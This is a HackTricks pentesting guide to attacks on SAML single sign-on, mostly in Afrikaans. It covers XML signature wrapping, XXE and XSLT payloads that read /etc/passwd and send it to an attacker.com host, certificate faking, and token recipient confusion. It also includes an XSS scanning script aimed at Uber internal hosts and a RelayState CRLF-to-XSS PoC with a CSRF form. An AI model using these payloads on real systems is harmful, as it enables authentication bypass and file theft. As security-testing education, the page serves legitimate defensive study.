SAML Attacks

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basic Information

SAML Basics

Gereedskap

SAMLExtractor: ’n hulpmiddel wat ’n URL of ’n lys van URL’s kan neem en die SAML consume URL teruggee.

XML heen-en-weer

In XML word die getekende deel van die XML in geheue gestoor, dan word kodering/dekodering uitgevoer en die handtekening nagegaan. Ideaalgesproke behoort daardie kodering/dekodering nie die data te verander nie, maar in daardie scenario kon die data wat nagegaan word en die oorspronklike data nie dieselfde wees nie.

Byvoorbeeld, kyk na die volgende kode:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Die uitvoering van die program teen REXML 3.2.4 of vroeër sou in plaas daarvan die volgende uitset lewer:

First child in original doc: Y
First child after round-trip: Z

Só het REXML die oorspronklike XML-dokument vanaf die program hierbo gesien:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

En so het dit dit gesien nadat dit geparseer en geserialiseer is:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Vir meer inligting oor die kwesbaarheid en hoe om dit misbruik:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW) misbruik aanvallers ’n kwesbaarheid wat ontstaan wanneer XML-dokumente deur twee onderskeibare fases verwerk word: signature validation en function invocation. Hierdie aanvalle behels die verander van die XML-dokumentstruktuur. Spesifiek voeg die aanvaller vervalste elemente in wat nie die XML Signature se geldigheid kompromitteer nie. Hierdie manipulasie poog om ’n wanverhouding te skep tussen die elemente wat deur die toepassingslogika ontleed word en dié wat deur die handtekeningverifikasiemodule geverifieer word. Gevolglik, terwyl die XML Signature tegnies geldig bly en verifikasie deurstaan, verwerk die toepassingslogika die bedrieglike elemente. Die aanvaller omseil dus effektief die XML Signature se integriteitsbeskerming en herkoms-verifikasie, wat die invoeging van arbitrêre inhoud sonder opsporing moontlik maak.

Die volgende aanvalle is gebaseer op this blog post en this paper. Kyk na dié vir meer besonderhede.

XSW #1

  • Strategie: ’n nuwe root-element wat die handtekening bevat, word bygevoeg.
  • Implikasie: Die validator kan verward raak tussen die legitime “Response -> Assertion -> Subject” en die aanvaller se “evil new Response -> Assertion -> Subject”, wat lei tot dataintegriteitsprobleme.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Verskil van XSW #1: Gebruik ’n detached signature in plaas van ’n enveloping signature.
  • Implikasie: Die “evil” struktuur, soortgelyk aan XSW #1, beoog om die toepassingslogika na die integriteitskontrole te mislei.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategie: ’n kwaadwillige Assertion word geskep op dieselfde hiërargiese vlak as die oorspronklike assertion.
  • Implikasie: Beoog om die toepassingslogika te verwar sodat dit die kwaadwillige data gebruik.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Verskil van XSW #3: Die oorspronklike Assertion word ’n kind van die gedupliseerde (evil) Assertion.
  • Implikasie: Soortgelyk aan XSW #3 maar verander die XML-struktuur meer aggressief.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unieke aspek: Geen van die Signature of die oorspronklike Assertion voldoen aan standaardkonfigurasies (enveloped/enveloping/detached).
  • Implikasie: Die gekopieerde Assertion omsluit die Signature, en verander die verwagte dokumentstruktuur.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategie: Gelyksoortige invoeging op plek soos XSW #4 en #5, maar met ’n wending.
  • Implikasie: Die gekopieerde Assertion omsluit die Signature, wat dan die oorspronklike Assertion omsluit, wat ’n geneste misleidende struktuur skep.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategie: ’n Extensions-element word ingevoeg met die gekopieerde Assertion as kind.
  • Implikasie: Dit misbruik die minder beperkende schema van die Extensions-element om schema-verifikasie teenmaatreëls te omseil, veral in biblioteke soos OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Verskil van XSW #7: Gebruik ’n ander minder beperkende XML-element vir ’n variant van die aanval.
  • Implikasie: Die oorspronklike Assertion word ’n kind van die minder beperkende element, wat die struktuur in XSW #7 omkeer.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Gereedskap

Jy kan die Burp-uitbreiding SAML Raider gebruik om die versoek te ontleed, enige XSW-aanval wat jy kies toe te pas, en dit te loods.

XXE

As jy nie weet watter tipe aanvalle XXE is nie, lees asseblief die volgende bladsy:

XXE - XEE - XML External Entity

SAML Responses is gedeflateerde en base64-geënkodeerde XML-dokumente en kan vatbaar wees vir XML External Entity (XXE) aanvalle. Deur die XML-struktuur van die SAML Response te manipuleer, kan aanvallers probeer om XXE-kwetsbaarhede uit te buit. Só kan so ’n aanval gevisualiseer word:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Gereedskap

Jy kan ook die Burp extension SAML Raider gebruik om die POC vanaf ’n SAML request te genereer om moontlike XXE- en SAML-kwesbaarhede te toets.

Sien ook hierdie praatjie: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Vir meer inligting oor XSLT, gaan na:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) kan gebruik word om XML-dokumente na verskeie formate te omskep, soos HTML, JSON of PDF. Dit is belangrik om daarop te let dat XSLT-transformasies uitgevoer word voordat die digitale handtekening geverifieer word. Dit beteken dat ’n aanval suksesvol kan wees selfs sonder ’n geldige handtekening; ’n self-ondertekende of ongeldig handtekening is voldoende om voort te gaan.

Hier kan jy ’n POC vind om hierdie soort kwesbaarhede te toets; op die hacktricks-bladsy wat aan die begin van hierdie afdeling genoem is, kan jy payloads vind.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Gereedskap

You can also use the Burp extension SAML Raider to generate the POC from a SAML request to test for possible XSLT vulnerabilities.

Check also this talk: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion bestudeer die gedrag van SAML-implementasies wanneer die Signature element nie teenwoordig is nie. As hierdie element ontbreek, mag handtekeningvalidasie nie plaasvind nie, wat dit kwesbaar maak. Dit is moontlik om dit te toets deur die inhoud wat gewoonlik deur die signature geverifieer word, te verander.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Gereedskap

You can also use the Burp extension SAML Raider. Intercept the SAML Response and click Remove Signatures. In doing so alle Signature elements are removed.

With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service

Certificate Faking

Certificate Faking

Certificate Faking is a tegniek om te toets of ’n Service Provider (SP) properly verifies that a SAML Message is signed deur ’n vertroude Identity Provider (IdP). Dit behels die gebruik van ’n *self-signed certificate om die SAML Response of Assertion te teken, wat help om die trust validation-proses tussen SP en IdP te evalueer.

Hoe om Certificate Faking uit te voer

Die volgende stappe beskryf die proses met die SAML Raider Burp extension:

  1. Intercept the SAML Response.
  2. If the response contains a signature, send the certificate to SAML Raider Certs using the Send Certificate to SAML Raider Certs button.
  3. In the SAML Raider Certificates tab, select the imported certificate and click Save and Self-Sign to create a self-signed clone of the original certificate.
  4. Go back to the intercepted request in Burp’s Proxy. Select the new self-signed certificate from the XML Signature dropdown.
  5. Remove any existing signatures with the Remove Signatures button.
  6. Sign the message or assertion with the new certificate using the (Re-)Sign Message or (Re-)Sign Assertion button, as appropriate.
  7. Forward the signed message. Successful authentication indicates that the SP accepts messages signed by your self-signed certificate, revealing potential vulnerabilities in the validation process of the SAML messages.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion and Service Provider Target Confusion behels die kontrole of die Service Provider correctly validates the intended recipient of a response. In wese behoort ’n Service Provider ’n authentication response te verwerp as dit vir ’n ander provider bedoel was. Die kritieke element hier is die Recipient veld, gevind binne die SubjectConfirmationData element van ’n SAML Response. Hierdie veld spesifiseer ’n URL wat aandui waarheen die Assertion gestuur moet word. As die werklike ontvanger nie ooreenstem met die beoogde Service Provider nie, behoort die Assertion as ongeldig beskou te word.

Hoe dit werk

Vir ’n SAML Token Recipient Confusion (SAML-TRC) aanval om haalbaar te wees, moet sekere voorwaardes vervul wees. Eerstens moet daar ’n geldige rekening op ’n Service Provider (verwys na as SP-Legit) wees. Tweedens moet die geteikende Service Provider (SP-Target) tokens van dieselfde Identity Provider wat SP-Legit bedien, aanvaar.

Die aanvalsproses is eenvoudig onder hierdie voorwaardes. ’n Geregistreerde sessie word geïnisieer met SP-Legit via die gedeelde Identity Provider. Die SAML Response van die Identity Provider na SP-Legit word onderskep. Hierdie onderskepte SAML Response, oorspronklik bedoel vir SP-Legit, word dan herlei na SP-Target. Sukses in hierdie aanval word gemeet deur SP-Target se aanvaarding van die Assertion, wat toegang gee tot hulpbronne onder dieselfde rekeningnaam wat vir SP-Legit gebruik is.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS in Logout-funksionaliteit

Die oorspronklike navorsing is beskikbaar via this link.

Tydens die proses van directory brute forcing is ’n logout-bladsy ontdek by:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

By toegang tot hierdie link het ’n omleiding plaasgevind na:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Dit het aan die lig gebring dat die base-parameter ’n URL aanvaar. Met dit in gedagte het die idee ontstaan om die URL te vervang met javascript:alert(123); in ’n poging om ’n XSS (Cross-Site Scripting)-aanval uit te voer.

Massale uitbuiting

From this research:

Die SAMLExtractor tool is gebruik om subdomeine van uberinternal.com te ontleed op domeine wat dieselfde biblioteek gebruik. Daarna is ’n skrip ontwikkel om die oidauth/prompt bladsy te teiken. Hierdie skrip toets vir XSS (Cross-Site Scripting) deur data in te voer en te kontroleer of dit in die uitset weerspieël word. In gevalle waar die invoer werklik weerspieël word, merk die skrip die bladsy as kwesbaar.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-gebaseerde header/body-inspuiting na rXSS

Sommige SAML SSO-endpunte decodeer RelayState en weerspieël dit dan in die respons sonder sanitasie. As jy nuwe reëls kan inspuit en die respons se Content-Type kan oorheers, kan jy die blaaier dwing om aanvallersbeheerde HTML te render, wat reflected XSS (rXSS) bewerkstellig.

  • Idee: misbruik response-splitting via newline-inspuiting in die weerspieëlde RelayState. Sien ook die generiese notas in CRLF injection.
  • Werk selfs wanneer RelayState server-side base64-gedekodeer word: voorsien ’n base64 wat dekodeer na header/body-inspuiting.

Algemene stappe:

  1. Bou ’n header/body-inspuitingsekwens wat begin met ’n newline, oorskryf die respons se Content-Type na HTML, en injekteer dan ’n HTML/JS-payload:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. URL-enkodeer die sekwens (voorbeeld):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. Base64-enkodeer daardie URL-gekodeerde string en plaas dit in RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Stuur ’n POST met ’n sintakties geldige SAMLResponse en die vervaardigde RelayState na die SSO-endpunt (bv. /cgi/logout).
  2. Lewer via CSRF: host ’n bladsy wat outomaties ’n cross-origin POST na die teiken-origin stuur en albei velde insluit.

PoC teen ’n NetScaler SSO-endpunt (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF-afleweringspatroon:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Waarom dit werk: die server decodeer RelayState en inkorporeer dit in die response op ’n manier wat newline injection toelaat, wat die attacker toelaat om headers en body te beïnvloed. Om Content-Type: text/html af te dwing veroorsaak dat die browser die attacker-controlled HTML uit die response body render.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks